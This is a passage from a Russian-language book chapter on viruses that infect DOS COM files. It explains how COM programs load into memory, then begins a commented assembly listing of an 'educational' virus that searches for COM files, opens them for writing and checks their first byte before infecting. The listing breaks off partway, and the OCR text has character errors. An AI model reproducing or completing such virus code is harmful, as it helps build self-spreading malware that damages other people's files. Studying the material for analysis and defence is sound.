Часть полного текста документа:СОМ-ВИРУСЫ В этой главе рассказано об ал- горитмах работы вирусов, заражающих СОМ-файлы, и способах их внедрения. Пред- ставлен исходный текст од- ного из таких вирусов с под- робными комментариями. Также приведены основные све- дения о структуре и принци- пах работы СОМ-программы. 10 СОМ-вирусы Компьютерные вирусы могут "гнездиться" в самых неожиданных мес- тах, например, в записи начальной загрузки MBR (master boot record), в исполняемых файлах типа СОМ и ЕХЕ, в файлах динамических биб- лиотек DLL и даже в документах текстового процессора Microsoft Word for Windows. В этом разделе подробно рассматривается строение виру- са, поражающего СОМ-файлы. Структура и процесс загрузки СОМ-программы Что же представляет собой СОМ-программа, как она загружается в память и запускается? Структура СОМ-программы предельно проста - она содержит только код и данные программы, не имея даже заголовка. Размер СОМ-про- граммы ограничен размером одного сегмента (64Кбайт). И еще два понятия, которые часто будут встречаться: Program Segment Prefix (PSP) - область памяти размером 256 (OlOOh) байт, предшествующая программе при ее загрузке. PSP содержит дан- ные командной строки и относящиеся к программе переменные. Disk Transfer Address (DTA) - блок данных, содержащий адреса обмена данными с файлом (чтение или запись). Область DTA для работы с файлом используют многие функции, в том числе и не производящие чтение или запись в файл. Примером может служить функция 4Eh (найти первый файл по шаблону), которая будет неоднократно встре- чаться в листингах программ. Загрузка СОМ-программы в память и ее запуск происходят так: 1. Определяется сегментный адрес свободного участка памяти доста- точного для размещения программы размера. 2. Создается и заполняется блок памяти для переменных среды. 3. Создается блок памяти для PSP и программы (сегментЮОООЬ - PSP; сегментЮЮОЬ - программа). В поля PSP заносятся соответствую- щие значения. 4. Устанавливается адрес DTA равным PSP:0080h. 5. Загружается СОМ-файл с адреса PSP:0100h. 6. Значение регистра АХ устанавливается в соответствии с парамет- рами командной строки. 7. Регистры DS, ES и SS устанавливаются на сегмент PSP и програм- мы (PSP.-OOOOh). 8. Регистр SP устанавливается на конец сегмента, после чего в стек за- писывается OOOOh. 9. Происходит запуск программы с адреса PSP:0100h. СОМ-программа всегда состоит из одного сегмента и запускается со смещения OlOOh. Простейший СОМ-вирус В начале СОМ-файла обычно находится команда безусловного перехода JMP, состоящая из трех байт. Первый байт содержит код команды OE9h, следующие два - адрес перехода. Поскольку рассматриваемый ниже ви- рус учебный, он будет заражать только СОМ-файлы, начинающиеся с команды JMP. Благодаря простому строению СОМ-файла в него очень просто добавить тело вируса и затем указать его адрес в команде JMP. На рис. 1.1. показано заражение файла таким способом. После загрузки зараженного файла управление получает вирус. Закон- чив работу, вирус восстанавливает оригинальный JMP и передает уп- равление программе, как показано на рис. 1.2. Что же делает рассматриваемый вирус? После старта он ищет в теку- щем каталоге СОМ-программы. Для этого используется функция 4Eh (найти первый файл): Тело вируса записывается в конец файла, туда же переносится оригинальный JMP, на место которого записывается инструкция JMP на тело вируса. Рис. 1.1. ;Ищем первый файл по шаблону имени mov ah,4Eh mov dx,offset fname - offset myself add dx.bp mov cx,00100111b int 21h Затем вирус проверяет (по первому байту файла), подходят ли ему най- денные СОМ-программы: [Открываем файл Open: mov ax,3D02h mov dx,9Eh int 21h ;Если при открытии файла ошибок не произошло, ;переходим к чтению, иначе выходим из вируса jnc See_Him jmp exit ; Читаем первый байт файла See_Him: xchg bx,ax mov ah,3Fh mov dx,offset buf-offset myself add dx.bp xor ex,ex ;CX=0 inc ex [(увеличение на 1) СХ=1 int 21h Сравниваем. ............ |